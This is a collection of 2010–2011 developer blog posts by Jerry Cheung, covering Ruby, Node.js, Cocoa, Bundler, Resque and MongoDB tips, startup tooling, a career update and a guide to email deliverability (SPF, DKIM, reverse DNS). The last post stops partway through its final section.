With the year coming to a close and the holidays fast approaching, it's a good time to step back and reflect on how lucky we are to be developers in this point in history. Below's a list of things that we're thankful for.

Jerry's List

Webhooks: As a kid, I loved legos. There's something magical about taking a bunch of colorful rectangular blocks and turning it into something recognizable. Software development is like legos, but with more block types. And as a web developer, web hooks are our version of lego expansion packs. You can build your own expansion and share it with the world. Oh, and on top of that, when you finish, you end up with something useful. How cool is that?

Emacs: I first used emacs in my first computer science class at Cal (CS61A Go Bears!). While most of my friends are Vim snobs, Emacs will always have a special place in my toolbox. The endless customization is addictive and the macro capabilities can't be beat. The UX/UI leaves something to be desired, and someday I hope to write the beautiful UI wrapper that it deserves.

Ruby: This one's obvious. Whether I'm using it in Rails for web development, hacking on Grape for APIs, or batch processing images, Ruby just makes it fun.

Michael's List

GitHub: Do you remember the time when you had to apply and get approved for open source project hosting? Thanks to GitHub those days are behind us. The open source community owes a huge debt to the octocat for increasing the pace and ease of open source development by an order of magnitude or two.

Low Overhead: So far for Opperator we have a beta signup system, a blog that can handle thousands of visitors, a deployment environment for building our app and a place to host our code. Total outlay so far? $10 for the domain. Okay we're piggybacking on the private GitHub account for Intridea but that's still amazing.

Other Developers: The ones that fix stuff on my open source projects, the ones that hash out ideas with me and help me better my game, the ones that spend countless hours building things that I get to use for free. The ones that answer my random questions on Twitter. You guys are all awesome.

Software development is about building cool stuff. The path isn't always perfectly smooth, but it is buckets full of cranberry awesomesauce. So take a moment and reflect, what are you thankful for as a developer?

Bonus: to generate your own turkey-cow, check out the original cowsay, or ruby_cowsay, or the hosted web version.

The Scrappy Guide to Pre-Launch Bootstrapping

Jerry Cheung — Mon, 21 Nov 2011 00:00:00 +0000

Republished from Opperator blog

A lot of startup advice revolves around launching a minimal viable product quickly. You’re happy to put in plenty of sweat and elbow grease for your fledging product, but what about all of your non-core competencies? How will you collect emails from interested users? Or how about keeping your audience engaged on your blog? You want something simple to setup, but with enough functionality to get stuff done. Without further ado, here’s the list of tools we used to get Opperator’s community machine up and running.

LaunchRock

A simple no-frills service for building a landing page to collect contact information from interested users. We chose it for its built-in analytics and simple styling. Protip: the customizable fields allows html, so you can tweak their default form styling.

Tumblr

We signed up for both Posterous and Tumblr, but ultimately went with Tumblr. Being developers, we really wanted something that supports Markdown. We wanted flexibility and features, but at the same time, we didn’t want to get distracted and setup our own blog system. Remember that every hour you spend shaving that hairy blog yak is an hour you could spend on engaging users and refining your product. While Tumblr has its quirks (its UX infuriates me), it’s very easy to style and easy to manage. Extra tip: to add images to your text posts, consider snapping screenshots with Cloud App or Skitch.

Twitter

Since we’re building a product for developers, being reachable on Twitter is just as or more important than having an email! We’re on Twitter as @opperatorapp and we’re cross-linking to our Twitter account everywhere. Twitter is such a fast, easy way to engage your audience that it’s a virtual no-brainer.

Github

We love open source, and open source loves us back. On top of using GitHub to host our code, we also use its wiki to organize notes, and its issues tracker to manage tasks. Developer friendly APIs makes it a joy to work with, and we’re going to emulate the same developer joy in our product.

Ducksboard

There’s a number of these services out there, but we had a beta invite sitting around for Ducksboard, a simple dashboard for various metrics about your site. We’re still working on wiring it up, but hopefully it will be a good way to measure key data across the business at a glance.

Keeping it all organized

For starters, we're using Highrise to keep notes with people we've talked to, Mailchimp to manage email campaigns, and Google Analytics and Gauges to keep tabs on our web analytics. We'll trim and add services as the need rises.

Tools shouldn’t get in the way.

At the end of the day, don’t forget that tools are meant to enhance your capabilities as a person. If you find you yourself customizing endless options and seething in frustration, then that shiny tool might really be a liability in disguise.

What did you use to launch your product? Anything lifesaving, anything to avoid like the plague? Share with us in the comments.

Republished from Opperator blog

PROJECT README, Y U NO HAVE?

Jerry Cheung — Mon, 21 Nov 2011 00:00:00 +0000

Pick any popular open source library. It'll have more documentation than your application code - I guarantee it. Test and documentation are both acknowledged as good development practices. But unlike testing, documentation doesn't get the same love from developers. For code that isn't intended for a public audience, developers keep all the docs in their head, or assume that their code is self documenting. Additionally, the tests become a kind of runnable documentation. But there's several lessons we can apply to our private application code from open source documentation. Today, we'll start the conversation with the lowest hanging fruits - the README.

The lack of a good README is one of my major pet peeves. When starting on a new project, more often than not, I'll find myself staring at this README:

== Welcome to Rails

Rails is a web-application framework that includes everything needed to
create database-backed web applications according to the
Model-View-Control pattern.

That's a fantastic README introduction... for the Rails framework. But it also happens to be the default scaffold README for every new Rails project. Think of a README as a first impression of your project. Just like open source projects, your README should introduce the project the new developers.

Take 5 minutes of your time to write a README that explains the following things:

What is it?

A short elevator pitch about your application. Examples:

Travis is an attempt to create an open-source, distributed build system for the Ruby community that allows open-source projects to register their repository and have their test-suites run on demand...
YARD is a documentation generation tool for the Ruby programming language. It enables the user to generate consistent, usable documentation that can be exported to a number of formats very easily, and also supports extending for custom Ruby constructs such as custom class level definitions.
Spree is a complete open source commerce solution for Ruby on Rails. It was originally developed by Sean Schofield and is now maintained by a dedicated core team. You can find out more about by visiting the Spree e-commerce project page.

How do I set it up?

List any dependencies your project has, both libraries it depends on, as well as external services it uses. Also remember to include any commands to start required services. Example:

Development Setup

# install redis, mysql
brew install redis
brew install mysql

# install rvm: http://beginrescueend.com/rvm/install/

# within the project directory
bundle
rake db:setup
foreman start
# visit: http://localhost:3000

Project Workflow and Tips

Usually, I like to add an additional section for developers to add tips and tricks that help with their day to day workflow. The notes listed in this section are optional and individual developers can choose to use them or not.

Seed and Test Data

Often times, existing developers and stakeholders will have their environments configured and won't remember what seed data the system assumes to exist. Versioning a gzip dump of the test data is perfect for someone to come along and get a sense of what the app data looks like.

Who do I contact for help?

If the project is a client project, it's good to list the stakeholders and their roles. It's also a good place to put down the names and contact information for members who may have worked on the project in the past.

Relevant links

A list of links to other sources of documentation or project management tools.

bug tracker
comps, wireframes, and design prototypes
wikis
staging, qa environments
other servers

Having a good README can help you onboard developers faster and have a single starting point for your project. It's easy and fast to write, so go forth and write yours today!

Rubies to Prevent Devops Mayhem

Jerry Cheung — Wed, 1 Jun 2011 00:00:00 +0000

You've just written a masterpiece of a web app. It's fun, it's viral, and it's useful. It's clearly going to be "Sliced Bread 2.0". But what comes next is a series of unforeseen headaches. You'll outgrow your shared hosting and need to get on cloud services. A late night hack session will leave you sleep deprived, and you'll accidentally drop your production database instead of your staging database. Once you serve up a handful of error pages, your praise-singing users will leave you faster than it takes to start a flamewar in #offrails. But wait! Just as Ruby helped you build your killer app, Ruby can also help you manage your infrastructure as your app grows. Read on for a list of useful gems every webapp should have.

Backups

When you make a coding mistake, you can revert to a good known commit. But when disaster wrecks havoc with your data, you better have an offsite backup ready to minimize your losses. Enter the backups gem, a DSL for describing your different data stores and offsite storage locations. Once you specify what data stores you use in your application (MySQL, PostgreSQL, Mongo, Redis, and more), and where you want to store it (rsync, S3, CloudFiles), Backup will dump and store your backups. You can specify how many backups you'd like to keep in rotation, and there's various extras like gzip compression, and notifiers for when backups are created or failed to create.

Cron Jobs

Having backups configured doesn't make you any less absent minded about running your backups. The first remedy that jumps to mind is editing your crontab. But man, it's hard to remember the format on that sucker. If only there was a Ruby wrapper around cron... Fortunately there is! Thanks to the whenever gem, you can define repetitious tasks in a Ruby script.

Cloud Services

With the number of cloud services available today, it's becoming more common to have your entire infrastructure hosted in the cloud. Many of these services offer API's to help you tailor and control your environments programmatically. Having API's is great, but it's tough to keep them all in your head.

The fog gem is the one API to rule them all. It provides a consistent interface to several cloud services. There are specific adapters for each cloud service. By following the Fog interface, it makes it really easy to switch between different cloud services. Say you were using Amazon's S3, but wanted to switch to Rackspace's CloudFiles. If you use Fog, it's as simple as replacing your credentials and changing the service name. You can create real cloud servers, or create mock ones for testing. Even if you don't use any cloud services, fog has adapters for non-cloud servers and filesystems.

Exception Handling

Hoptoad is a household name in the Ruby community. It catches exceptions created by your app, and sends them into a pretty web interface and other notifications. If you can't use Hoptoad because of a firewall, check out the self-hostable Errbit.

Monitoring

When your infrastructure isn't running smoothly, it better be raising all kinds of alarms and sirens to get someone to fix it. Two popular monitoring solutions are God, and Monit. God lets you configure which services you want to monitor in Ruby, and the Monit gem gives you an interface to query services you have registered with Monit. If you have a Ruby script that you'd like to have running like a traditional Unix daemon, check out the daemons gem. It wraps around your existing Ruby script and gives you a 'start', 'stop', 'restart' command line interface that makes it easier to monitor. Don't forget to monitor your background services, it sucks to have all your users find your broken server before you do.

Staging

Your application is happily running in production, but all of a sudden, it decides to implode on itself for a specific user when they update their avatar. Try as you might, you just can't reproduce the bug locally. You could do some cowboy debugging on production, but you'll end up dropping your entire database on accident. Oops.

It's times like these that you'll be thankful you have a staging environment setup. If you use capistrano, make sure to check out how to use capistrano-ext gem, and its multi-stage deploy functionality. To reproduce your bug on the same data, you can use the taps gem to transfer your data from your production database to your staging database. If you're using Heroku then it's already built-in.

Before you start testing your mailers on staging, do all of your users a favor and install the mail_safe gem. It stubs out ActionMailer so that your users don't get your testing spam. It also lets you send emails to your own email address for testing.

CLI Tools

Thor is a good foundation for writing CLI utilities in Ruby. It has interfaces for manipulating files and directories, parsing command line options, and manipulating processes.

Deployment

Capistrano helps you deploy your application, and Chef configures and deploys your servers and services. If you use Vagrant for managing development virtual machines, you can reuse your Chef cookbooks for production.

Conclusion

All of these gems help us maintain our application infrastructure in a robust way. It frees us from running one-off scripts and hacks in production and gives us a repeatable process for managing everything our app runs on. And on top of all the awesome functionality these tools provide, we can also write Ruby to interact with them and version control them alongside our code. So for your next killer webapp, don't forget to add some killer devops to go along with it.

Node.js Jumpstart

Jerry Cheung — Fri, 8 Apr 2011 00:00:00 +0000

In a nutshell, Node is a Javascript framework for building network apps. Network apps are broader in scope than webapps. They don't need to run on HTTP, thus freeing you to write lower level tools. Node doesn’t necessarily have to be part of your core app, and in many cases, it makes for a good fit for writing some of the support functions for your webapp. I'll cover the basics of getting Node setup, some event driven programming, and some miscellaneous Node goodies.

To get started, you can grab the latest Node release from Github. They have good installation instructions, but for the truly uninitiated Mac users, you can install it via homebrew:

brew install node

Once you have Node, you can try it out with an interactive session much like irb. Run node with no arguments:

node
> console.log('hello world')
hello world

Node's biggest core idea is evented I/O. Instead of blocking and waiting for I/O to finish, Node will start I/O, and execute a callback when data is actually ready. On top of reading and writing requests and responses, we spend a lot of time doing I/O when we fetch data from a datastore, or make external requests to other APIs. With Node, we save that wasted blocking time to do actual useful work.

Let's compare a really simple file I/O operation to compare Ruby to Node. Here's a simple Ruby script that will read a file 3 times and print when it finishes, and also print "doing something important".

(1..3).each do |i|
  contents = File.read('foo.txt')
  puts "#{i}. Finished reading file"
  puts "#{i}. doing something important..."
end

We also print out the loop counter to see the order the statements were run. The output is unsurprising:

1. Finished reading file
1. doing something important...
2. Finished reading file
2. doing something important...
3. Finished reading file
3. doing something important...

Now let's look at the Node equivalent of the same script:

var fs = require('fs');
for (var i=1; i<=3; i++) {
  fs.readFile('presentation.key', function(err, data) {
    console.log(i + ". Finished reading file");
  });
  console.log(i + ". doing something important...");
}

What's interesting in this code is the callback we use with the readFile method. By having a callback on this I/O action, readFile will immediately return when called, which allows "doing something important" to be run before the I/O actually completes. When the file is finished reading, then we invoke the callback. Here's the output for the Node script:

1. doing something important...
2. doing something important...
3. doing something important...
4. Finished reading file
4. Finished reading file
4. Finished reading file

Were you surprised by the loop counter 4 in the results? This is one of those subtle "gotcha's" that takes time to get used to. Because the callback is invoked long after the loop is finished, the loop counter variable 'i' has been incremented to 4.

The community for Node is growing, and there is already a large number of non-blocking libraries that are Node friendly. Many of these can be used to build diagnostic and metrics tools for supporting your site. If your site has a need for push notifications or uses AJAX to poll for updates, you can also use Node to handle those features on your site. A few fun examples of apps built with Node include StatsD, Hummingbird Analytics, and Node Wargames.

That covers a brief introduction to Node. I leave you with a quote from the creator of Node that I'm a fan of. He says:

Node jails you into this evented-style programming. You can't do things in a blocking way, you can’t write slow programs.

--Ryan Dahl

My Web Development Toolbox, 2010 Edition

Jerry Cheung — Tue, 11 Jan 2011 00:00:00 +0000

2010 was a big shift in work environment for me. I migrated from an office to a completely distributed and remote team at Outspokes and then to Intridea later in the same year. Many of my daily tools stayed the same, but there's been plenty of additions to streamline my work. Here's an overview of my most used tools for web development.

Chrome

I switched to Chrome as my personal use browser, but stuck with Firefox because of Firebug and other extensions. Chrome was snappy in daily use, consumed less resources, and just plain felt better than Firefox. Once I learned about the available "Web Inspector", the switch was complete. Nowadays, I only open other browsers briefly for testing.

Skype

Instead of holding meetings in person, Skype is now always open for conference calls. Meetings are scheduled in Google calendar, and if screen sharing is needed, then we pop open a GoToMeeting.

Presently

I used Yammer briefly while at Outspokes, but none of us got into it very much. At Intridea, there was so much more knowledge and information that needed to be shared between projects and team members that I saw the real value of micro-blogging for the first time. On a remote team, it's also a great way to share a virtual water cooler and hang out with your co-workers.

Propane

Campfire client for OSX. I don't use Campfire for all my projects, but when a client requests it, then I can keep separate tabs. The integrated file upload and download is nice too.

Textmate

I grew up on Emacs, and I still use it frequently, but Emacs and Vim are both kind of clunky and doesn't fit in with the rest of the Cocoa environment.

Gitx

Simple way to stage and unstage changes. I know there's fancier apps that integrate with Github, but for the time being, this app has just the right amount of features for me.

Cloudapp and Skitch

I use Cloudapp for ultra-quick screenshots and file uploads. When I need to draw a few arrows and text, I open up Skitch and drag the image up to the Cloudapp menulet. I know Skitch has built in sharing, but the Cloudapp one feels more polished to me. Both are great apps I use all the time.

Divvy

Divvy lets me quickly tile a bunch of windows. It's just a single feature, but it's an awesome single feature.

Pixelmator

I don't do very much graphics work, but it's nice to have an app that lets me whip up a quick background, or tweak an existing image asset.

HTTPClient

Great way to test APIs and inspect HTTP headers.

MultiFirefox

When I do need to test multiple versions of Firefox, MultiFirefox is a kickass simple utility for launching different versions with different profiles.

VirtualBox

For IE testing, I've tried Fusion, Parallel, and VirtualBox. Out of the 3, I think VirtualBox has been the least buggy and simplest. It might not have bells and whistles, but honestly, I just want to boot Windows and load shudder IE6 and 7. As an added bonus, there's libraries for controlling VirtualBox programmatically.

Do more with less

I'm open minded about trying new apps, but more tools doesn't always mean more productivity. These apps represent a greatest hits list for the past year. It's not a comprehensive list, but if any of these apps disappeared, I'd really be hurting.

Modular Cocoa Interfaces

Jerry Cheung — Wed, 5 Jan 2011 00:00:00 +0000

While iOS projects have the advantage of multiple NIB files, this is not the default for development on OSX. When working on a Mac or iOS project with more than one person, you quickly learn that attempting to merge conflicted Interface Builder files or XCode project files can only result in tears. But just because you can't work on the same NIB doesn't mean that the productivity of the entire team should be blocked by the one person editing MainMenu.xib. Cocoa allows you to chop your UI into separate NIBs and control them with multiple NSWindowControllers. Once you separate out different windows from MainMenu, you're much less likely to conflict with your team. As an added benefit, your UI will feel snappier because NIB loading will be delayed until it's actually needed. I'll demonstrate this technique by separating the Preferences window from the main window, a common and easy case for refactoring.

Code

For starters, let's create a new NSWindowController subclass for driving our Preferences window. We'll name it PreferencesController.

The header:

#import <Cocoa/Cocoa.h>
@interface PreferencesController : NSWindowController {
}
@end

The implementation:

#import "PreferencesController.h"
@implementation PreferencesController

- (id) init {
  if(self = [super initWithWindowNibName:@"Preferences"]) {
  }
  return self;
}

The only difference from a generic NSWindowController is the custom constructor. This controller will try to load a NIB named "Preferences.xib" when it's -showWindow: method is called. In the Xcode sidebar, right click Resources, Add File, User Interface, and choose "Window XIB". Name this xib "Preferences.xib".

Interface Builder

Next comes the error-prone step. If you don't add all the right connections in Interface Builder, then your new window will act erratically. It might not show up, it might not be in focus, it might not close, or it might explode your Mac (unlikely, but not impossible). First, add an NSObject to your Document and change the 'Class' to 'PreferencesController'

To test that our NIB is loading properly, let's connect the 'Preferences' menu item to the showWindow: action.

We're almost there, but if you run the app now, you'll notice that the Preferences window doesn't focus properly. While our "MainMenu.xib" has a reference to PreferencesController, we forgot to let Preferences.xib know that its owner is of type PreferencesController. Open "Preferences.xib", and change "File's Owner" to PreferencesController, and also set its "window" connection to point to the window.

If you Build and Run the project now, you should be able to open the Preferences window from the menu and have the 2nd Preferences window loaded. Open and close the Preference window a few times for good measure too. If something is acting funny, the most likely culprit is a missing connection for "File's Owner" in "MainMenu.xib" or a missing connection for the menu. Go over the steps again and recheck your class identities and connections (cmd-5) in the inspector to make sure everything is wired correctly.

What's Next?

From here, whenever you need to make changes to the Preferences window, no changes need to be introduced to "MainMenu.xib". Controller actions can be specified on PreferencesController, and Interface Builder can access those actions by making connections to "File's Owner". For a demo, check out this account preferences demo. Hopefully, you can use this process in your project to cut down on nasty merges.

Resources

Account Preferences Example - a more fleshed out version of this article.
Window Programming Guide - best starting place for anything related to windows.
NSWindowController description
NSWindowController Class Reference - as always, Apple's docs are a good place to start
Introduction to Document-Based Applications Overview - looking at the Document architecture helps give you an understanding of how Window controllers and NIBs interact.

Fixing Common Bundler Problems

Jerry Cheung — Thu, 12 Aug 2010 00:00:00 +0000

When bundler first came out, I really wanted to like it. It promised a clean way to declare dependencies on for your application in a single place, and have that be definitive regardless of what box your app was running on. Unfortunately, reality didn't match up with promises and I've had plenty of headaches from bundler problems. Read on for a list of tips I've pulled together to save you some headache.

Ensure you're local bundler is the same version as your server

Different versions of bundler may act differently:

bundle --version  # on your local machine and your server
sudo gem install bundler --version="0.9.26"

Explicitly specify gem versions

Did you know in HTTParty 0.4.5, there's no 'parsed_response' method on a response object? Well, neither did I when it worked fine on my local laptop (0.6.1), but not on the server (0.4.5)

gem "httparty"  # bad times if your system gem is out of date...
gem "httparty", "~> 0.6.1"  # better, but...
gem "httparty", "0.6.1"     # ...why not just specify the version everyone should use?

Check you're actually using gems installed by bundler

Once in a while, bundler will report success on install, but you'll get the wrong gems loaded in your load path. Grep your load path to double check libraries you're having trouble with

# in script/console
>> $:.grep /http/
=> ["/Users/jch/.bundle/ruby/1.8/gems/httparty-0.6.1/lib"]

Gemfile conditionals

bundler allows you to specify groups so only gems you need in one environment are loaded:

# we don't call the group :test because we don't want them auto-required
group :test do
  gem 'database_cleaner', '~> 0.5.0'
  gem 'rspec'
  gem 'rspec-rails', '~> 1.3.2', :require => 'spec/rails'
end

All gems you specify in your Gemfile WILL be installed regardless of what RAILS_ENV you're currently on. There's a very deceptively named option called --without that does not work as you would expect:

# weird, but this will install gems in group test
bundle install --without=test

This can turn out to be a disaster if your production environment tries to install a OSX specific gem with native extensions that you use for development. An ugly fix in the meantime is to add conditionals that look for an environment variable:

if ['test', 'cucumber'].include?(ENV['RAILS_ENV'])
  group :test do
    # your gems
  end
end

Update your capistrano

Don't forget to bundle when you deploy:

after  "deploy:update_code", "deploy:bundle"
namespace :deploy do
  desc "Freeze dependencies"
  task :bundle, :roles => :app do
    run "cd #{release_path} && bundle install --relock --without=test"
  end
end

NameErrors and autoloading issues

Read this issue. The fix is to skip the require in your Gemfile and do the require in your environment.rb:

# Gemfile
gem 'misbehaving_gem', :require_as => []

# environment.rb
Rails::Initializer.run do |config|
  # ...
  config.gem 'misbehaving_gem'
  # ...
end

Nuke .bundler

When all else doesn't make sense, and you've pulled out what precious little hair you have left:

rm -rf RAILS_ROOT/.bundle      # removes gems for this project
rm -rf ~/.bundle               # removes cached gems for your current user
rm -rf RAILS_ROOT/Gemfile.lock # lets you do a fresh 'bundle install'

# do a fresh bundle install
bundle install

Other

Bundler is still a moving target as far as bugs goes. It's getting better with each release, so many of these issues might not exist by the time you start using it. Meanwhile, hopefully this list above is will save you some time with bundler related headaches. Let me know in the comments if you've encountered other tips for resolving these problems.

Resque Cheatsheet

Jerry Cheung — Tue, 22 Jun 2010 00:00:00 +0000

Coded and used by the Github team, Resque is a Ruby queue for processing background jobs built on top of Redis. So far, I'm really enjoying the simple setup and simple API. The documentation gives a lot of good background information, and it's been working well overall. Follow the jump for a day-to-day usage reference.

Status

Resque.info
Resque.queues
Resque.redis
Resque.size(queue_name)

# check out what's coming next in the queue
#    Resque.peek(archive_queue)
#    Resque.peek(archive_queue, 1, 5)
#    Resque.peek(archive_queue, 59, 30)
Resque.peek(queue_name, start=1, count=1)

Workers

Resque.workers
Resque.working
Resque.remove_worker(worker_id) # find worker_id from one of the above methods

Queue Management

# For testing a worker, I usually call the 'perform' method directly.
#    Resque.enqueue(ArchiveWorker)
#    Resque.enqueue(ArchiveWorker, 'matching', 'arguments')
Resque.enqueue(klass, *args)
Resque.dequeue(klass, *args)
Resque.remove_queue(queue_name)

Callbacks

# Each of these can either take a block, or be assigned to with a Proc
Resque.before_first_fork(&blk)
Resque.before_fork(&blk)
Resque.after_fork(&blk)

Problems

Redis connects to wrong host - Redis connects to localhost:6379 by default. Customize this by doing the following:

Resque.redis = 'hostname:port:db'  # all 3 values are optional

Workers die stop after first batch completes - This is caused by the workers losing their connection to MySQL. See this gist for a fix and an explanation. Alternatively, you can add this line at the beginning of your 'perform' method:

ActiveRecord::Base.reconnect!

New Beginnings: Starting with Intridea

Jerry Cheung — Mon, 14 Jun 2010 00:00:00 +0000

Three weeks ago, I started as a full time software developer at Intridea. It's been an absolute blast so far, but it happened so quickly that I'm still somewhat dazed at how I got here. Just two month ago, I was in Israel and Egypt visiting Wendy and working on Outspokes, and now I'm working with energetic and talented individuals; all of whom I've never seen in real life before, but many of whom I've heard of in the Ruby community.

Back in September, I quit my full time gig at Coupa to start Outspokes with Arthur and Sean. The first month was like a morale roller coaster ride. We had many ups and downs. We learned a lot of things. We coded at superhuman speeds, and treated ourselves like crap to execute more and to execute faster. I'm proud of what we accomplished, but I'm ashamed at myself for prioritizing Outspokes before everything and everyone. Friends who kept me company late nights with baked pasta at Shooting Star Cafe, my supportive family, and most of all Wendy - Thank you.

Flash forward to last February, Wendy got a scholarship and was doing chemical engineering research in Israel before she started grad school. I decided to visit her to make up for neglecting our relationship. Spending time away from the Silicon Valley and the constant startup buzz cleared up a lot for me. I realized my dreams of making useful software and building a business weren't mutually exclusive with all the wonderful things I loved in my life. I don't have to choose just one goal; I can have my cake and eat it too. The ghost of myself a year ago would've laughed that I'd grown soft. But I'm not making any compromises on my dreams. I feel that I've actually dispersed a lot of unnecessary pressure and am in a better place to tackle my goals.

Clearing my head was like tipping over a line of dominos, and everything started falling in place during that trip. I decided to put Outspokes on hold because I didn't understand the freelance/consulting market I'm trying to help (more on this in another post). Wendy and I were having a great time traveling the Middle East and making plans for when she returned to the states. I reconnected with a lot of old friends, made some new ones, and was having a great time doing everything I enjoyed.

When I got home, I started to look at jobs near Pasadena, where Wendy's starting grad school next September. At first I was filled with dread when I looked at the startup scene in southern California. I couldn't find a business I felt passionate about. The commute would also sap any remaining soul in my body. Meanwhile, my friends in SF were offering to interview me, and tech companies I believed in were recruiting. I stuck to my guns and kept looking.

One day while I was reading my RSS feeds, I got the crazy idea to ask some of the Ruby consultancies I respected for a job. It was a spur of the moment thing, and I thought it'd be kind of cool to talk to these people whose posts I read everyday, even if they weren't in the area or hiring. I emailed Dave not knowing what to say, other than to say hi and introduce myself. Surprisingly, Dave and Chris got back to me on the phone. I don't remember exactly what we talked about, but I do remember that they didn't ask me any trick programming puzzles or BS interview questions. At the end of the call, they offered me a part-time contracting position.

I was stoked to work with these guys. It wasn't only because they had a strong team who regularly contributes back to the open source community and engages their audience. I liked their enthusiasm for technology and their professionalism towards their clients. They made fantastic looking and useful products. They had a great sense of humor even though I've only heard them on Skype or through chat. My mom had to ask me why I was chuckling to myself when I read co-workers' updates through Presently and on Campfire. When they offered me a full-time position a week later, I said "I'll talk it over with people and sleep on it", but really I was thinking "Score!"

And that's the long-winded version of where I am and how I got to be an Intridean.

Getting Around in MongoDB

Jerry Cheung — Fri, 11 Jun 2010 00:00:00 +0000

I started working with MongoDB a few days ago. To oversimplify, think of Mongo as a really big and fast hash that gets saved to disk. It lets you query, retrieve, and manipulate data in Javascript and JSON. I had a ton of work to do, so I didn't get a chance to explore the technology as much as I would've liked. Today, after getting a solid night's sleep, I got a chance to experiment more. Read on to get some quick tips about writing Mongo queries and generating reports from the Mongo shell.

When I first started interacting with Mongo, I used the Ruby Mongoid adapter. It gave me a familiar ActiveRecord interface so I could accomplish things like:

Beer.all(:conditions => { :style => "stout" })

But it also gave me a sneak peak at Mongo's 'criteria' API for querying

Beer.criteria.where(:style => "stout")

It's worthwhile to note that criterias are lazily loaded, meaning that the query isn't performed until you actually need to access the data.

Beer.criteria.where(:style => "stout")  # doesn't hit mongo
Beer.criteria.where(:style => "stout").first.drink!  # executes actual query

This was all fine and dandy, but just like learning SQL and ActiveRecord, having an understanding of the underlying system gives you a better idea of what you can do. So I busted out the mongo shell and started running queries. The tutorial was a good starting point for familiarizing myself with how to connect to mongo, executing some queries, and printing out results. My favorite feature was that the mongo shell doubled as a Javascript interpreter. I was able to write JS to manipulate the query results:

function map(arr, func) {
  var collection = [];
  if(arr && arr.length) {
    for(var i = 0; i < arr.length; i++) {
      collection.push(func(arr[i]));
    }
  }
  return collection;
}

db.beers.find().forEach(function(beer) {
  print(beer.name);
  print('--------------');
  map(beer.ingredients, function(ingredient) {
    print(beer.ingredient.quantity + ' - ' + beer.ingredient.name);
  });
});

I got pretty tired of copying and pasting this script every time I edited it. Thankfully, mongo shell lets you pass in script files to execute:

> mongo --help
MongoDB shell version: 1.4.0
usage: mongo [options] [db address] [file names (ending in .js)

This little feature enabled me to write more complex scripts and tweak to my heart's content. Something was still missing though. I love Javascript as a language, but nowadays, I've grown so accustomed to jQuery that I'll start typing jQuery assuming it's available even when it's not.

db.beers.find().forEach(function(beer) {
  // CURSES! JQuery isn't available :(
  $(beer.ingredients).each(function() {
    // ... do something
  });
})

My next genius idea: load jQuery as the first script:

> mongo beerdb jquery-1.4.2.min.js reporting.js
JS Error: ReferenceError: window is not defined jquery-1.4.2.min.js:153
failed to load: jquery-1.4.2.min.js

Noooooo! It makes a lot of sense that jQuery would assume a browser environment, but I was hoping that it wouldn't require it for the nice utility functions.

To get the job done, I wrote myself a small utility library:

$ = {
  // > $.map([1,2,3,4], function(x) { return x*x; }
  // [1,4,9,16]
  map: function(arr, func) {
    var collection = [];
    if(arr && arr.length) {
      for(var i=0; i<arr.length; i++) {
        collection.push(func(arr[i]));
      }
    }
    return collection;
  },

  // > $.max([1,2,3,4])
  // 4
  // > $.max([1,2,3,4], function(x) { return x*2; })
  // 8
  max: function(arr, func) {
    if(arr == undefined) { return arr; }
    var max = null;
    for(var i=0; i<arr.length; i++) {
      var current = (func ? func(arr[i]) : arr[i]);
      max = (current > max ? current : max);
    }
    return max;
  },
}

This didn't buy me the full power of JQuery, but at the same time, I was pretty happy I was able to quickly whip together some JS and get the reports I needed.

Does anyone know of a JS library that buys you a lot of core library features and fixes, but doesn't assume a browser? I looked at John Resig's Env.js, but even that assumes that you're running JS in Rhino. What other Mongo tricks do people find useful?

Reference

Here's the order I recommend reading the Mongo documentation. The Advanced Queries link was especially useful.

All databases are fictional. No beers were harmed in the making of this blog post.

Email Delivery for Webapps

Jerry Cheung — Fri, 14 May 2010 00:00:00 +0000

Delivering email is easy. Having that email actually get received is freaking hard. In this era rife with spammers, if you don't jump through several hoops of verifying yourself, your messages will be automatically marked as spam during transit, and never see the light of an inbox. I didn't realize how tricky this was when I first started sending out email for Outspokes, but when our account activation and notification emails were always being delivered to the spam folder, I dug deeper and learned quite a lot. Follow the jump to save your future emails.

The Right Way

Before I share my personal experiences, I want to point out that the fastest and most sensible way to guarantee good email deliverability is to have someone else do it for you. Rather than setting up your own mail server and coming up with a solution that you have to maintain yourself, there are smart dedicated teams working on this problem on your behalf. The cost of entry is so low that they're all effectively free until the volume of you email you need is large enough that you should generate enough revenue to cover the cost. I'll cover a few hosted services like Sendgrid, and Postmark in a separate blog post.

Setting it Up Yourself

Now that I've warned you of the easier path, here's the steps I took to make sure our emails were actually delivered rather than canned outright.

Reverse DNS Points to your Hostname

This is important when you're using a hosted environment. Outspokes uses Rackspace, and the initial reverse lookup of our IP address yielded a very spam-like looking domain:

67-23-23-207.static.slicehost.net

From the control panel, I changed this value to a more sane-looking 'outspokes.com'. To see what your current reverse dns entry is:

dig -x 67.23.23.207    # your static IP address

# other useful commands
dig outspokes.com ANY  # show all DNS records for outspokes.com
dig @ns1.editdns.net outspokes.com  # ask editdns for outspokes records

Setup DNS SPF Record

SPF stands for Sender Policy Framework, and is a DNS record that can be looked up to determine what servers are allowed to send email for a given hostname. For example, for Outspokes, I only wanted the server with the static IP 67.23.23.207 to be able to send email. If a spam server tries to send email with a 'from address' of outspokes.com from a non-verified server, then that email will be marked as spam and rightfully zapped from existence.

In your DNS, add a TXT record:

v=spf1 a mx ~all

This allow servers listed in A and MX records to send email. Some DNS services don't support adding TXT records, so your mileage may vary for getting this setup.

Setup DKIM

DKIM stands for DomainKeys, and works similar in concept to SPF. I followed a guide from the Ubuntu forums to get it setup.

aptitude install dkim-filter
generate rsa keypair, put in /etc/ssl/private/dkim/private.key
edit dns add TXT record with public key
edit /etc/dkim-filter.conf, /etc/default/dkim-filter
edit /etc/postfix/main.cf - add smtpd milter (mail filter)
/etc/init.d/dkim-filter start
/etc/init.d/postfix restart

Debugging and Testing Your Configuration

If you've followed this guide blindly up until this point. Chances are good that you're emails are still getting spammed-out. Luckily, there are tools that help you diagnose whether all these new changes are actually making a positive effect.

One great way to test is to pretend that you're a mail client sending an email and telneting to the mail server directly. I learned this from a Slicehost tutorial.

# I ran this directly from the mail server b/c of firewall rules
telnet localhost 25
HELO localhost
MAIL FROM: jerry@outspokes.com
RCPT TO: check-auth@verifier.port25.com
DATA
Subject: test
body text
.
QUIT

Now you can email anyone you'd like for testing, but it's much more helpful to email check-auth@verifier.port25.com, or auth-results@verifier.port25.com. These two emails will check your mail headers against your DNS records and give you a rating of how likely your emails will be marked as spam. The report will be sent to the 'MAIL FROM' field.

Additional Improvements

Now that you have a good baseline setup for your emails to be delivered, it's time to take a breather and marvel at how your messages actually make it past spam filters. But spammers are constantly improving their game, so having a baseline setup far from guarantees that your emails will be safe forever. Here are some additional tips that may mark your message as suspicious.

